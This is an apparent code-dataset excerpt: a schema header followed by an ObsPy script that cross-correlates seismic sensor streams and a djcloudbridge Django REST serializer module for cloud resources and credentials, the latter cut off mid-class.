hexsha
stringlengths
40
40
size
int64
5
2.06M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
3
248
max_stars_repo_name
stringlengths
5
125
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
3
248
max_issues_repo_name
stringlengths
5
125
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
3
248
max_forks_repo_name
stringlengths
5
125
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
5
2.06M
avg_line_length
float64
1
1.02M
max_line_length
int64
3
1.03M
alphanum_fraction
float64
0
1
count_classes
int64
0
1.6M
score_classes
float64
0
1
count_generators
int64
0
651k
score_generators
float64
0
1
count_decorators
int64
0
990k
score_decorators
float64
0
1
count_async_functions
int64
0
235k
score_async_functions
float64
0
1
count_documentation
int64
0
1.04M
score_documentation
float64
0
1
d52dbcb5f5f927e8beee568c91222838c4d49f6e
11,606
py
Python
cross_correlation.py
sbargy/cross-correlation
ee6f991758dbe6715d8cbf3ec03b07407f2acdf1
[ "MIT" ]
null
null
null
cross_correlation.py
sbargy/cross-correlation
ee6f991758dbe6715d8cbf3ec03b07407f2acdf1
[ "MIT" ]
null
null
null
cross_correlation.py
sbargy/cross-correlation
ee6f991758dbe6715d8cbf3ec03b07407f2acdf1
[ "MIT" ]
1
2020-06-23T21:06:33.000Z
2020-06-23T21:06:33.000Z
#!/usr/bin/env python3 # system imports import argparse import sys # obspy imports from obspy.clients.fdsn import Client from obspy import read, read_inventory, UTCDateTime from scipy import signal from obspy.signal.cross_correlation import correlate, xcorr_max from obspy.clients.fdsn.header import FDSNNoDataException from obspy.core.stream import Stream # other imports import numpy as np import matplotlib.pyplot as plt import matplotlib as mpl import pickle ################################################################################ def main(): parser = argparse.ArgumentParser(description="Cross correlate sensor streams", formatter_class=SmartFormatter) parser.add_argument("net", help="Network code (e.g. II)", action="store") parser.add_argument("sta", help="Station Code (e.g. MSEY or WRAB)", action="store") parser.add_argument("chan", help="channel (e.g. BHZ or BH0", action="store") parser.add_argument("startdate", help="R|start date (YYYY-JJJ OR\n" "YYYY-MM-DD), UTC is assumed", action="store") parser.add_argument("enddate", help="R|end date (YYYY-JJJ OR\n" "YYYY-MM-DD), UTC is assumed", action="store") parser.add_argument("-d", "--duration", help="the duration in seconds of the sample", action="store", type=int) parser.add_argument("-i", "--interval", help="interval in minutes to skip between segments", action="store", default="14400", type=int) parser.add_argument("-k", "--keepresponse", help="don't use the remove_response call", action="store_true") parser.add_argument("-o", "--outfilename", help="the filename for the plot output file", action="store", type=str) parser.add_argument("-r", "--responsefilepath", help="the path to the response file location, the filename is generated in code", action="store", type=str) parser.add_argument("-v", "--verbose", help="extra output for debugging", action="store_true", default=False) args = parser.parse_args() # upper case the stations and channels args.sta = args.sta.upper() args.chan = args.chan.upper() doCorrelation(args.net, args.sta, args.chan, args.startdate, args.enddate, args.duration, \ args.interval, args.keepresponse, args.outfilename, args.responsefilepath, args.verbose) ################################################################################ def doCorrelation(net, sta, chan, start, end, duration, interval, keep_response, outfilename, resp_filepath, be_verbose): stime = UTCDateTime(start) etime = UTCDateTime(end) ctime = stime skiptime = 24*60*60*10 # 10 days in seconds. Override with --interval <minutes> option skiptime = interval*60 # # location constants LOC00 = '00' LOC10 = '10' # True to calculate values, False to read them from a pickle file # this might be desirable when debugging the plotting code piece calc = True print(net, sta, LOC00, LOC10, duration, interval, stime, etime, keep_response, resp_filepath) if calc: times, shifts, vals = [],[], [] while ctime < etime: cnt = 1 attach_response = True if resp_filepath: inv00 = read_inventory(f'{resp_filepath}/RESP.{net}.{sta}.{LOC00}.{chan}', 'RESP') inv10 = read_inventory(f'{resp_filepath}/RESP.{net}.{sta}.{LOC10}.{chan}', 'RESP') attach_response = False st00 = getStream(net, sta, LOC00, chan, ctime, duration, be_verbose, attach_response) st10 = getStream(net, sta, LOC10, chan, ctime, duration, be_verbose, attach_response) if len(st00) == 0: if be_verbose: print("no traces returned for {} {} {} {} {}".format(net, sta, LOC00, chan, ctime), file=sys.stderr) ctime += skiptime continue if len(st10) == 0: if be_verbose: print("no traces returned for {} {} {} {} {}".format(net, sta, LOC10, chan, ctime), file=sys.stderr) ctime += skiptime continue if len(st00) > 1: if be_verbose: print("gap(s) found in segment for {} {} {} {} {}".format(net, sta, LOC00, chan, ctime), file=sys.stderr) ctime += skiptime continue if len(st10) > 1: if be_verbose: print("gap(s) found in segment for {} {} {} {} {}".format(net, sta, LOC10, chan, ctime), file=sys.stderr) ctime += skiptime continue if ((st00[0].stats.endtime - st00[0].stats.starttime) < (duration - 1.0/st00[0].stats.sampling_rate)): if be_verbose: print("skipping short segment in {} {} {} {} {}".format(net, sta, LOC00, chan, ctime), file=sys.stderr) ctime += skiptime continue if ((st10[0].stats.endtime - st10[0].stats.starttime) < (duration - 1.0/st10[0].stats.sampling_rate)): if be_verbose: print("skipping short segment in {} {} {} {} {}".format(net, sta, LOC10, chan, ctime), file=sys.stderr) ctime += skiptime continue if not attach_response: st00.attach_response(inv00) st10.attach_response(inv10) if not keep_response: st00.remove_response() st10.remove_response() # apply a bandpass filter and merge before resampling st00.filter('bandpass', freqmax=1/4., freqmin=1./8., zerophase=True) st00.resample(1000) st10.filter('bandpass', freqmax=1/4., freqmin=1./8., zerophase=True) st10.resample(1000) # get the traces from the stream for each location try: tr1 = st00.select(location=LOC00)[0] except Exception as err: print(err, file=sys.stderr) try: tr2 = st10.select(location=LOC10)[0] except Exception as err: print(err, file=sys.stderr) # trim sample to start and end at the same times trace_start = max(tr1.stats.starttime, tr2.stats.starttime) trace_end = min(tr1.stats.endtime, tr2.stats.endtime) # debug if be_verbose: print("Before trim", file=sys.stderr) print("tr1 start: {} tr2 start: {}".format(tr1.stats.starttime, tr2.stats.starttime), file=sys.stderr) print("tr1 end: {} tr2 end: {}".format(tr1.stats.endtime, tr2.stats.endtime), file=sys.stderr) print("max trace_start: {} min trace_end {}".format(trace_start, trace_end), file=sys.stderr) tr1.trim(trace_start, trace_end) tr2.trim(trace_start, trace_end) # debug if be_verbose: print("After trim", file=sys.stderr) print("tr1 start: {} tr2 start: {}".format(tr1.stats.starttime, tr2.stats.starttime), file=sys.stderr) print("tr1 end: {} tr2 end: {}".format(tr1.stats.endtime, tr2.stats.endtime), file=sys.stderr) # calculate time offset time_offset = tr1.stats.starttime - tr2.stats.starttime cc = correlate(tr1.data, tr2.data, 500) # xcorr_max returns the shift and value of the maximum of the cross-correlation function shift, val = xcorr_max(cc) # append to lists for plotting shifts.append(shift) vals.append(val) times.append(ctime.year + ctime.julday/365.25) print("duration: {} to {} offset: {}\tshift: {} value: {}".format(ctime, ctime+duration, time_offset, shift, val)) # skip 10 days for next loop if be_verbose: print("ctime: {}".format(ctime), file=sys.stderr) ctime += skiptime # persist the data in a pickle file if outfilename: with open(outfilename + '.pickle', 'wb') as f: pickle.dump([shifts, vals, times], f) else: with open(net + '_' + sta + '_' + net + '_' + sta + '.pickle', 'wb') as f: pickle.dump([shifts, vals, times], f) else: # retrieve the data from the pickle file if outfilename: with open(outfilename + '.pickle', 'rb') as f: shifts, vals, times = pickle.load(f) else: with open(net + '_' + sta + '_' + net + '_' + sta + '.pickle', 'rb') as f: shifts, vals, times = pickle.load(f) mpl.rc('font',serif='Times') mpl.rc('font',size=16) fig = plt.figure(1, figsize=(10,10)) plt.subplot(2,1,1) plt.title(net + ' ' + sta + ' ' + LOC00 + ' compared to ' + net + ' ' + sta + ' ' + LOC10) plt.plot(times, shifts,'.') plt.ylabel('Time Shift (ms)') plt.subplot(2,1,2) plt.plot(times, vals, '.') #plt.ylim((0.8, 1.0)) plt.ylim((0, 1.0)) plt.xlabel('Time (year)') plt.ylabel('Correlation') if outfilename: plt.savefig(outfilename + '.PDF', format='PDF') else: plt.savefig(net + '_' + sta + '_' + net + '_' + sta + '.PDF', format='PDF') ################################################################################ def getStream(net, sta, loc, chan, ctime, duration, be_verbose, attach_response): cnt = 1 client = Client() st = Stream() while cnt <= 4: try: # get_waveforms gets 'duration' seconds of activity for the channel/date/location # only attach response if we're not using a response file if attach_response: st = client.get_waveforms(net, sta, loc, chan, ctime, ctime + duration, attach_response=True) else: st = client.get_waveforms(net, sta, loc, chan, ctime, ctime + duration) break except KeyboardInterrupt: sys.exit() except FDSNNoDataException: if be_verbose: print(f"No data available for {net}.{sta}.{loc}.{chan} {ctime} to {ctime+duration}", file=sys.stderr) except Exception as err: print(err, file=sys.stderr) finally: cnt += 1 return st ################################################################################ class SmartFormatter(argparse.HelpFormatter): def _split_lines(self, text, width): if text.startswith('R|'): return text[2:].splitlines() # this is the RawTextHelpFormatter._split_lines return argparse.HelpFormatter._split_lines(self, text, width) ################################################################################ if __name__ == '__main__': main()
41.45
126
0.525418
287
0.024729
0
0
0
0
0
0
2,978
0.256591
d52e9d0960091a82d4473fa8f90e1a3e2e15884d
32,810
py
Python
djcloudbridge/serializers.py
almahmoud/djcloudbridge
0a00ccefb217cc3962315019405dd176956c1830
[ "MIT" ]
null
null
null
djcloudbridge/serializers.py
almahmoud/djcloudbridge
0a00ccefb217cc3962315019405dd176956c1830
[ "MIT" ]
null
null
null
djcloudbridge/serializers.py
almahmoud/djcloudbridge
0a00ccefb217cc3962315019405dd176956c1830
[ "MIT" ]
null
null
null
import urllib from cloudbridge.cloud.interfaces.resources import TrafficDirection from rest_auth.serializers import UserDetailsSerializer from rest_framework import serializers from rest_framework.reverse import reverse from . import models from . import view_helpers from .drf_helpers import CustomHyperlinkedIdentityField from .drf_helpers import PlacementZonePKRelatedField from .drf_helpers import ProviderPKRelatedField class ZoneSerializer(serializers.Serializer): id = serializers.CharField(read_only=True) name = serializers.CharField(read_only=True) class RegionSerializer(serializers.Serializer): id = serializers.CharField(read_only=True) url = CustomHyperlinkedIdentityField( view_name='djcloudbridge:region-detail', lookup_field='id', lookup_url_kwarg='pk', parent_url_kwargs=['cloud_pk']) name = serializers.CharField(read_only=True) zones = CustomHyperlinkedIdentityField( view_name='djcloudbridge:zone-list', lookup_field='id', lookup_url_kwarg='region_pk', parent_url_kwargs=['cloud_pk']) class MachineImageSerializer(serializers.Serializer): id = serializers.CharField(read_only=True) url = CustomHyperlinkedIdentityField( view_name='djcloudbridge:machine_image-detail', lookup_field='id', lookup_url_kwarg='pk', parent_url_kwargs=['cloud_pk']) name = serializers.CharField(read_only=True) label = serializers.CharField() description = serializers.CharField() class KeyPairSerializer(serializers.Serializer): id = serializers.CharField(read_only=True) url = CustomHyperlinkedIdentityField( view_name='djcloudbridge:keypair-detail', lookup_field='id', lookup_url_kwarg='pk', parent_url_kwargs=['cloud_pk']) name = serializers.CharField(required=True) material = serializers.CharField(read_only=True) def create(self, validated_data): provider = view_helpers.get_cloud_provider(self.context.get('view')) return provider.security.key_pairs.create(validated_data.get('name')) class VMFirewallRuleSerializer(serializers.Serializer): protocol = serializers.CharField(allow_blank=True) from_port = serializers.CharField(allow_blank=True) to_port = serializers.CharField(allow_blank=True) cidr = serializers.CharField(label="CIDR", allow_blank=True) firewall = ProviderPKRelatedField( label="VM Firewall", queryset='security.vm_firewalls', display_fields=['name', 'id'], display_format="{0} (ID: {1})", required=False, allow_null=True) url = CustomHyperlinkedIdentityField( view_name='djcloudbridge:vm_firewall_rule-detail', lookup_field='id', lookup_url_kwarg='pk', parent_url_kwargs=['cloud_pk', 'vm_firewall_pk']) def validate(self, data): """Cursory data check.""" if data.get('protocol').lower() not in ['tcp', 'udp', 'icmp']: raise serializers.ValidationError( 'Protocol must be one of: tcp, udp, icmp.') try: if not (1 < int(data['from_port']) <= 65535): raise serializers.ValidationError( 'From port must be an integer between 1 and 65535.') elif not (1 < int(data['to_port']) <= 65535): raise serializers.ValidationError( 'To port must be an integer between 1 and 65535.') except ValueError: raise serializers.ValidationError( 'To/from ports must be integers.') return data def create(self, validated_data): view = self.context.get('view') provider = view_helpers.get_cloud_provider(view) vmf_pk = view.kwargs.get('vm_firewall_pk') if vmf_pk: vmf = provider.security.vm_firewalls.get(vmf_pk) if vmf and validated_data.get('firewall'): return vmf.rules.create( TrafficDirection.INBOUND, validated_data.get('protocol'), int(validated_data.get('from_port')), int(validated_data.get('to_port')), src_dest_fw=validated_data.get('firewall')) elif vmf: return vmf.rules.create(TrafficDirection.INBOUND, validated_data.get('protocol'), int(validated_data.get('from_port')), int(validated_data.get('to_port')), validated_data.get('cidr')) return None class VMFirewallSerializer(serializers.Serializer): id = serializers.CharField(read_only=True) url = CustomHyperlinkedIdentityField( view_name='djcloudbridge:vm_firewall-detail', lookup_field='id', lookup_url_kwarg='pk', parent_url_kwargs=['cloud_pk']) name = serializers.CharField(read_only=True) label = serializers.CharField(required=True) # Technically, the description is required but when wanting to reuse an # existing VM firewall with a different resource (eg, creating an # instance), we need to be able to call this serializer w/o it. description = serializers.CharField(required=False) network_id = ProviderPKRelatedField( queryset='networking.networks', display_fields=['id', 'label'], display_format="{1} ({0})") rules = CustomHyperlinkedIdentityField( view_name='djcloudbridge:vm_firewall_rule-list', lookup_field='id', lookup_url_kwarg='vm_firewall_pk', parent_url_kwargs=['cloud_pk']) def create(self, validated_data): provider = view_helpers.get_cloud_provider(self.context.get('view')) return provider.security.vm_firewalls.create( label=validated_data.get('label'), network_id=validated_data.get('network_id').id, description=validated_data.get('description')) class NetworkingSerializer(serializers.Serializer): networks = CustomHyperlinkedIdentityField( view_name='djcloudbridge:network-list', parent_url_kwargs=['cloud_pk']) routers = CustomHyperlinkedIdentityField( view_name='djcloudbridge:router-list', parent_url_kwargs=['cloud_pk']) class NetworkSerializer(serializers.Serializer): id = serializers.CharField(read_only=True) url = CustomHyperlinkedIdentityField( view_name='djcloudbridge:network-detail', lookup_field='id', lookup_url_kwarg='pk', parent_url_kwargs=['cloud_pk']) name = serializers.CharField(read_only=True) label = serializers.CharField(required=True) state = serializers.CharField(read_only=True) cidr_block = serializers.CharField() subnets = CustomHyperlinkedIdentityField( view_name='djcloudbridge:subnet-list', lookup_field='id', lookup_url_kwarg='network_pk', parent_url_kwargs=['cloud_pk']) gateways = CustomHyperlinkedIdentityField( view_name='djcloudbridge:gateway-list', lookup_field='id', lookup_url_kwarg='network_pk', parent_url_kwargs=['cloud_pk']) def create(self, validated_data): provider = view_helpers.get_cloud_provider(self.context.get('view')) return provider.networking.networks.create( label=validated_data.get('label'), cidr_block=validated_data.get('cidr_block', '10.0.0.0/16')) def update(self, instance, validated_data): # We do not allow the cidr_block to be edited so the value is ignored # and only the name is updated. try: if instance.label != validated_data.get('label'): instance.label = validated_data.get('label') return instance except Exception as e: raise serializers.ValidationError("{0}".format(e)) class SubnetSerializer(serializers.Serializer): id = serializers.CharField(read_only=True) url = CustomHyperlinkedIdentityField( view_name='djcloudbridge:subnet-detail', lookup_field='id', lookup_url_kwarg='pk', parent_url_kwargs=['cloud_pk', 'network_pk']) name = serializers.CharField(read_only=True) label = serializers.CharField(required=True) cidr_block = serializers.CharField() network_id = serializers.CharField(read_only=True) zone = PlacementZonePKRelatedField( label="Zone", queryset='non_empty_value', display_fields=['id'], display_format="{0}", required=True) def create(self, validated_data): provider = view_helpers.get_cloud_provider(self.context.get('view')) net_id = self.context.get('view').kwargs.get('network_pk') return provider.networking.subnets.create( label=validated_data.get('label'), network=net_id, cidr_block=validated_data.get('cidr_block'), zone=validated_data.get('zone')) class SubnetSerializerUpdate(SubnetSerializer): cidr_block = serializers.CharField(read_only=True) def update(self, instance, validated_data): try: if instance.label != validated_data.get('label'): instance.label = validated_data.get('label') return instance except Exception as e: raise serializers.ValidationError("{0}".format(e)) class RouterSerializer(serializers.Serializer): id = serializers.CharField(read_only=True) url = CustomHyperlinkedIdentityField( view_name='djcloudbridge:router-detail', lookup_field='id', lookup_url_kwarg='pk', parent_url_kwargs=['cloud_pk']) name = serializers.CharField(read_only=True) label = serializers.CharField(required=True) state = serializers.CharField(read_only=True) network_id = ProviderPKRelatedField( queryset='networking.networks', display_fields=['id', 'name'], display_format="{1} ({0})") def create(self, validated_data): provider = view_helpers.get_cloud_provider(self.context.get('view')) return provider.networking.routers.create( label=validated_data.get('label'), network=validated_data.get('network_id').id) def update(self, instance, validated_data): try: if instance.label != validated_data.get('label'): instance.label = validated_data.get('label') return instance except Exception as e: raise serializers.ValidationError("{0}".format(e)) class GatewaySerializer(serializers.Serializer): id = serializers.CharField(read_only=True) url = CustomHyperlinkedIdentityField( view_name='djcloudbridge:gateway-detail', lookup_field='id', lookup_url_kwarg='pk', parent_url_kwargs=['cloud_pk', 'network_pk']) name = serializers.CharField() state = serializers.CharField(read_only=True) network_id = serializers.CharField(read_only=True) floating_ips = CustomHyperlinkedIdentityField( view_name='djcloudbridge:floating_ip-list', lookup_field='id', lookup_url_kwarg='gateway_pk', parent_url_kwargs=['cloud_pk', 'network_pk']) def create(self, validated_data): provider = view_helpers.get_cloud_provider(self.context.get('view')) net_id = self.context.get('view').kwargs.get('network_pk') net = provider.networking.networks.get(net_id) return net.gateways.get_or_create_inet_gateway( name=validated_data.get('name')) class FloatingIPSerializer(serializers.Serializer): id = serializers.CharField(read_only=True) ip = serializers.CharField(read_only=True) state = serializers.CharField(read_only=True) class VMTypeSerializer(serializers.Serializer): id = serializers.CharField(read_only=True) url = CustomHyperlinkedIdentityField( view_name='djcloudbridge:vm_type-detail', lookup_field='pk', parent_url_kwargs=['cloud_pk']) name = serializers.CharField() family = serializers.CharField() vcpus = serializers.CharField() ram = serializers.CharField() size_root_disk = serializers.CharField() size_ephemeral_disks = serializers.CharField() num_ephemeral_disks = serializers.CharField() size_total_disk = serializers.CharField() extra_data = serializers.DictField(serializers.CharField()) class AttachmentInfoSerializer(serializers.Serializer): device = serializers.CharField(read_only=True) instance_id = ProviderPKRelatedField( label="Instance ID", queryset='compute.instances', display_fields=['name', 'id'], display_format="{0} (ID: {1})", required=False, allow_null=True) instance = CustomHyperlinkedIdentityField( view_name='djcloudbridge:instance-detail', lookup_field='instance_id', lookup_url_kwarg='pk', parent_url_kwargs=['cloud_pk']) class VolumeSerializer(serializers.Serializer): id = serializers.CharField(read_only=True) url = CustomHyperlinkedIdentityField( view_name='djcloudbridge:volume-detail', lookup_field='id', lookup_url_kwarg='pk', parent_url_kwargs=['cloud_pk']) name = serializers.CharField(read_only=True) label = serializers.CharField(required=True) description = serializers.CharField(allow_blank=True) size = serializers.IntegerField(min_value=0) create_time = serializers.CharField(read_only=True) zone_id = PlacementZonePKRelatedField( label="Zone", queryset='non_empty_value', display_fields=['id'], display_format="{0}", required=True) state = serializers.CharField(read_only=True) snapshot_id = ProviderPKRelatedField( label="Snapshot ID", queryset='storage.snapshots', display_fields=['label', 'id', 'size'], display_format="{0} (ID: {1}, Size: {2} GB)", write_only=True, required=False, allow_null=True) attachments = AttachmentInfoSerializer() def create(self, validated_data): provider = view_helpers.get_cloud_provider(self.context.get('view')) try: return provider.storage.volumes.create( validated_data.get('label'), validated_data.get('size'), validated_data.get('zone_id'), description=validated_data.get('description'), snapshot=validated_data.get('snapshot_id')) except Exception as e: raise serializers.ValidationError("{0}".format(e)) def update(self, instance, validated_data): try: if instance.label != validated_data.get('label'): instance.label = validated_data.get('label') if instance.description != validated_data.get('description'): instance.description = validated_data.get('description') return instance except Exception as e: raise serializers.ValidationError("{0}".format(e)) class SnapshotSerializer(serializers.Serializer): id = serializers.CharField(read_only=True) url = CustomHyperlinkedIdentityField( view_name='djcloudbridge:snapshot-detail', lookup_field='id', lookup_url_kwarg='pk', parent_url_kwargs=['cloud_pk']) name = serializers.CharField(read_only=True) label = serializers.CharField(required=True) description = serializers.CharField() state = serializers.CharField(read_only=True) volume_id = ProviderPKRelatedField( label="Volume ID", queryset='storage.volumes', display_fields=['label', 'id', 'size'], display_format="{0} (ID: {1}, Size: {2} GB)", required=True) create_time = serializers.CharField(read_only=True) size = serializers.IntegerField(min_value=0, read_only=True) def create(self, validated_data): provider = view_helpers.get_cloud_provider(self.context.get('view')) try: return provider.storage.snapshots.create( validated_data.get('label'), validated_data.get('volume_id'), description=validated_data.get('description')) except Exception as e: raise serializers.ValidationError("{0}".format(e)) def update(self, instance, validated_data): try: if instance.label != validated_data.get('label'): instance.label = validated_data.get('label') if instance.description != validated_data.get('description'): instance.description = validated_data.get('description') return instance except Exception as e: raise serializers.ValidationError("{0}".format(e)) class InstanceSerializer(serializers.Serializer): id = serializers.CharField(read_only=True) url = CustomHyperlinkedIdentityField( view_name='djcloudbridge:instance-detail', lookup_field='id', lookup_url_kwarg='pk', parent_url_kwargs=['cloud_pk']) name = serializers.CharField(read_only=True) label = serializers.CharField(required=True) public_ips = serializers.ListField(serializers.IPAddressField()) private_ips = serializers.ListField(serializers.IPAddressField()) vm_type_id = ProviderPKRelatedField( label="Instance Type", queryset='compute.vm_types', display_fields=['name'], display_format="{0}", required=True) vm_type_url = CustomHyperlinkedIdentityField( view_name='djcloudbridge:vm_type-detail', lookup_field='vm_type_id', lookup_url_kwarg='pk', parent_url_kwargs=['cloud_pk']) image_id = ProviderPKRelatedField( label="Image", queryset='compute.images', display_fields=['name', 'id', 'label'], display_format="{0} (ID: {1}, Label: {2})", required=True) image_id_url = CustomHyperlinkedIdentityField( view_name='djcloudbridge:machine_image-detail', lookup_field='image_id', lookup_url_kwarg='pk', parent_url_kwargs=['cloud_pk']) key_pair_id = ProviderPKRelatedField( label="Keypair", queryset='security.key_pairs', display_fields=['id'], display_format="{0}", required=True) subnet_id = ProviderPKRelatedField( label="Subnet", queryset='networking.subnets', display_fields=['id', 'label'], display_format="{1} ({0})") zone_id = PlacementZonePKRelatedField( label="Placement Zone", queryset='non_empty_value', display_fields=['id'], display_format="{0}", required=True) vm_firewall_ids = ProviderPKRelatedField( label="VM Firewalls", queryset='security.vm_firewalls', display_fields=['name', 'id', 'label'], display_format="{0} (ID: {1}, Label: {2})", many=True) user_data = serializers.CharField(write_only=True, allow_blank=True, style={'base_template': 'textarea.html'}) def create(self, validated_data): provider = view_helpers.get_cloud_provider(self.context.get('view')) label = validated_data.get('label') image_id = validated_data.get('image_id') vm_type = validated_data.get('vm_type_id') kp_name = validated_data.get('key_pair_name') zone_id = validated_data.get('zone_id') vm_firewall_ids = validated_data.get('vm_firewall_ids') subnet_id = validated_data.get('subnet_id') user_data = validated_data.get('user_data') try: return provider.compute.instances.create( label, image_id, vm_type, subnet_id, zone_id, key_pair=kp_name, vm_firewalls=vm_firewall_ids, user_data=user_data) except Exception as e: raise serializers.ValidationError("{0}".format(e)) def update(self, instance, validated_data): try: if instance.label != validated_data.get('label'): instance.label = validated_data.get('label') return instance except Exception as e: raise serializers.ValidationError("{0}".format(e)) class BucketSerializer(serializers.Serializer): id = serializers.CharField(read_only=True) url = CustomHyperlinkedIdentityField( view_name='djcloudbridge:bucket-detail', lookup_field='id', lookup_url_kwarg='pk', parent_url_kwargs=['cloud_pk']) name = serializers.CharField() objects = CustomHyperlinkedIdentityField( view_name='djcloudbridge:bucketobject-list', lookup_field='id', lookup_url_kwarg='bucket_pk', parent_url_kwargs=['cloud_pk']) def create(self, validated_data): provider = view_helpers.get_cloud_provider(self.context.get('view')) try: return provider.storage.buckets.create(validated_data.get('name')) except Exception as e: raise serializers.ValidationError("{0}".format(e)) class BucketObjectSerializer(serializers.Serializer): id = serializers.CharField(read_only=True) name = serializers.CharField(allow_blank=True) size = serializers.IntegerField(read_only=True) last_modified = serializers.CharField(read_only=True) url = CustomHyperlinkedIdentityField( view_name='djcloudbridge:bucketobject-detail', lookup_field='id', lookup_url_kwarg='pk', parent_url_kwargs=['cloud_pk', 'bucket_pk']) download_url = serializers.SerializerMethodField() upload_content = serializers.FileField(write_only=True) def get_download_url(self, obj): """Create a URL for accessing a single instance.""" kwargs = self.context['view'].kwargs.copy() kwargs.update({'pk': obj.id}) obj_url = reverse('djcloudbridge:bucketobject-detail', kwargs=kwargs, request=self.context['request']) return urllib.parse.urljoin(obj_url, '?format=binary') def create(self, validated_data): provider = view_helpers.get_cloud_provider(self.context.get('view')) bucket_id = self.context.get('view').kwargs.get('bucket_pk') bucket = provider.storage.buckets.get(bucket_id) try: name = validated_data.get('name') content = validated_data.get('upload_content') if name: obj = bucket.objects.create(name) else: obj = bucket.objects.create(content.name) if content: obj.upload(content.file.getvalue()) return obj except Exception as e: raise serializers.ValidationError("{0}".format(e)) def update(self, instance, validated_data): try: instance.upload( validated_data.get('upload_content').file.getvalue()) return instance except Exception as e: raise serializers.ValidationError("{0}".format(e)) class CloudSerializer(serializers.ModelSerializer): slug = serializers.CharField(read_only=True) compute = CustomHyperlinkedIdentityField( view_name='djcloudbridge:compute-list', lookup_field='slug', lookup_url_kwarg='cloud_pk') security = CustomHyperlinkedIdentityField( view_name='djcloudbridge:security-list', lookup_field='slug', lookup_url_kwarg='cloud_pk') storage = CustomHyperlinkedIdentityField( view_name='djcloudbridge:storage-list', lookup_field='slug', lookup_url_kwarg='cloud_pk') networking = CustomHyperlinkedIdentityField( view_name='djcloudbridge:networking-list', lookup_field='slug', lookup_url_kwarg='cloud_pk') region_name = serializers.SerializerMethodField() cloud_type = serializers.SerializerMethodField() extra_data = serializers.SerializerMethodField() def get_region_name(self, obj): if hasattr(obj, 'aws'): return obj.aws.region_name elif hasattr(obj, 'openstack'): return obj.openstack.region_name elif hasattr(obj, 'azure'): return obj.azure.region_name elif hasattr(obj, 'gcp'): return obj.gcp.region_name else: return "Cloud provider not recognized" def get_cloud_type(self, obj): if hasattr(obj, 'aws'): return 'aws' elif hasattr(obj, 'openstack'): return 'openstack' elif hasattr(obj, 'azure'): return 'azure' elif hasattr(obj, 'gcp'): return 'gcp' else: return 'unknown' def get_extra_data(self, obj): if hasattr(obj, 'aws'): aws = obj.aws return {'region_name': aws.region_name, 'ec2_endpoint_url': aws.ec2_endpoint_url, 'ec2_is_secure': aws.ec2_is_secure, 'ec2_validate_certs': aws.ec2_validate_certs, 's3_endpoint_url': aws.s3_endpoint_url, 's3_is_secure': aws.s3_is_secure, 's3_validate_certs': aws.s3_validate_certs } elif hasattr(obj, 'openstack'): os = obj.openstack return {'auth_url': os.auth_url, 'region_name': os.region_name, 'identity_api_version': os.identity_api_version } elif hasattr(obj, 'azure'): azure = obj.azure return {'region_name': azure.region_name} elif hasattr(obj, 'gcp'): gcp = obj.gcp return {'region_name': gcp.region_name, 'zone_name': gcp.zone_name } else: return {} class Meta: model = models.Cloud exclude = ('kind',) class ComputeSerializer(serializers.Serializer): instances = CustomHyperlinkedIdentityField( view_name='djcloudbridge:instance-list', parent_url_kwargs=['cloud_pk']) machine_images = CustomHyperlinkedIdentityField( view_name='djcloudbridge:machine_image-list', parent_url_kwargs=['cloud_pk']) regions = CustomHyperlinkedIdentityField( view_name='djcloudbridge:region-list', parent_url_kwargs=['cloud_pk']) vm_types = CustomHyperlinkedIdentityField( view_name='djcloudbridge:vm_type-list', parent_url_kwargs=['cloud_pk']) class SecuritySerializer(serializers.Serializer): keypairs = CustomHyperlinkedIdentityField( view_name='djcloudbridge:keypair-list', parent_url_kwargs=['cloud_pk']) vm_firewalls = CustomHyperlinkedIdentityField( view_name='djcloudbridge:vm_firewall-list', parent_url_kwargs=['cloud_pk']) class StorageSerializer(serializers.Serializer): volumes = CustomHyperlinkedIdentityField( view_name='djcloudbridge:volume-list', parent_url_kwargs=['cloud_pk']) snapshots = CustomHyperlinkedIdentityField( view_name='djcloudbridge:snapshot-list', parent_url_kwargs=['cloud_pk']) buckets = CustomHyperlinkedIdentityField( view_name='djcloudbridge:bucket-list', parent_url_kwargs=['cloud_pk']) """ User Profile and Credentials related serializers """ class CredentialsSerializer(serializers.Serializer): aws = CustomHyperlinkedIdentityField( view_name='djcloudbridge:awscredentials-list') openstack = CustomHyperlinkedIdentityField( view_name='djcloudbridge:openstackcredentials-list') azure = CustomHyperlinkedIdentityField( view_name='djcloudbridge:azurecredentials-list') gcp = CustomHyperlinkedIdentityField( view_name='djcloudbridge:gcpcredentials-list') class AWSCredsSerializer(serializers.HyperlinkedModelSerializer): id = serializers.IntegerField(read_only=True) secret_key = serializers.CharField( style={'input_type': 'password'}, write_only=True, required=False ) cloud_id = serializers.CharField(write_only=True) cloud = CloudSerializer(read_only=True) class Meta: model = models.AWSCredentials exclude = ('user_profile',) class OpenstackCredsSerializer(serializers.HyperlinkedModelSerializer): id = serializers.IntegerField(read_only=True) password = serializers.CharField( style={'input_type': 'password'}, write_only=True, required=False ) cloud_id = serializers.CharField(write_only=True) cloud = CloudSerializer(read_only=True) class Meta: model = models.OpenStackCredentials exclude = ('user_profile',) class AzureCredsSerializer(serializers.HyperlinkedModelSerializer): id = serializers.IntegerField(read_only=True) secret = serializers.CharField( style={'input_type': 'password'}, write_only=True, required=False ) cloud_id = serializers.CharField(write_only=True) cloud = CloudSerializer(read_only=True) class Meta: model = models.AzureCredentials exclude = ('user_profile',) class GCPCredsSerializer(serializers.HyperlinkedModelSerializer): id = serializers.IntegerField(read_only=True) credentials = serializers.CharField( write_only=True, style={'base_template': 'textarea.html', 'rows': 20}, ) cloud_id = serializers.CharField(write_only=True) cloud = CloudSerializer(read_only=True) class Meta: model = models.GCPCredentials exclude = ('user_profile',) class CloudConnectionAuthSerializer(serializers.Serializer): aws_creds 